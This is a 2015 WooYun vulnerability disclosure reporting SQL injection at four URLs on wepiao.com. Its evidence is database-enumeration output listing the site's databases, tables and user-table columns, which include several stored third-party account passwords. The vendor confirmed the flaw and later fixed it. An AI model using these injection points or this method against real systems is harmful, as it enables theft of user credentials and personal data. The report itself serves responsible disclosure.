漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0118581
漏洞标题：微影时代主站多处SQL注入漏洞
相关厂商：wepiao.com
漏洞作者： M4sk
提交时间：2015-06-06 15:34
修复时间：2015-07-25 22:54
公开时间：2015-07-25 22:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-06： 细节已通知厂商并且等待厂商处理中
2015-06-10： 厂商已经确认，细节仅向厂商公开
2015-06-20： 细节向核心白帽子及相关领域专家公开
2015-06-30： 细节向普通白帽子公开
2015-07-10： 细节向实习白帽子公开
2015-07-25： 细节向公众公开
简要描述：
RT
详细说明：
http://iosappapi.wepiao.com/index.php?a=filmdetail&c=film&m=web&fid=5577
http://iosappapi.wepiao.com/index.php?a=seatinfo&c=film&mpid=556e6c3eba8e7f73168bfdbb&m=web&cinemaid=1004676&hid=3197&fid=5577
http://www.wepiao.com/?a=filmdetail&c=film&m=web&fid=5420
http://www.wepiao.com/?a=cinemadetailshow&c=cinema&m=web&cinemaid=1004676
先确实4个注入点都存在：
不用说了吧 整站数据
available databases [3]:
[*] app_weiying
[*] information_schema
[*] test
Database: app_weiying
[50 tables]
+-----------------------------+
| comment |
| comment_like |
| comment_reply |
| film_seen |
| film_want |
| t_weiying_banner |
| t_weiying_order |
| weiying_active |
| weiying_activites |
| weiying_ad |
| weiying_admin |
| weiying_admin_panel |
| weiying_admin_role |
| weiying_admin_role_priv |
| weiying_area |
| weiying_certificate |
| weiying_cinema |
| weiying_city |
| weiying_code |
| weiying_copywriting |
| weiying_device |
| weiying_evallike |
| weiying_evaluation |
| weiying_fctable |
| weiying_feedback |
| weiying_film |
| weiying_grouponticket_order |
| weiying_groupticket |
| weiying_hall |
| weiying_menu |
| weiying_notice |
| weiying_order |
| weiying_order_stream |
| weiying_paytemp |
| weiying_poster |
| weiying_praise |
| weiying_preuve |
| weiying_reply |
| weiying_sche |
| weiying_scheseat |
| weiying_scheseat_new |
| weiying_seats |
| weiying_see |
| weiying_show |
| weiying_tagephoto |
| weiying_ticket |
| weiying_token |
| weiying_user |
| weiying_versions |
| weiying_webad |
+-----------------------------+
Database: app_weiying
Table: weiying_user
[17 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| account | varchar(50) |
| id | int(11) |
| isdel | char(1) |
| loginsign | varchar(50) |
| mail | varchar(255) |
| nike | varchar(50) |
| password | varchar(255) |
| photo | varchar(255) |
| publicid | varchar(50) |
| qqaccount | varchar(50) |
| qqpassword | varchar(255) |
| sinaaccount | varchar(50) |
| sinapassword | varchar(255) |
| telphone | varchar(50) |
| weixinaccount | varchar(50) |
| weixinpass | varchar(255) |
| weixinunionid | varchar(50) |
+---------------+--------------+
时间问题就不继续了 整站数据在这 ... 危害你懂得
漏洞证明：
综上
修复方案：
你会的
版权声明：转载请注明来源 M4sk@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-06-10 22:52
厂商回复：
修复中
最新状态：
2015-07-19：已修复，非常感谢。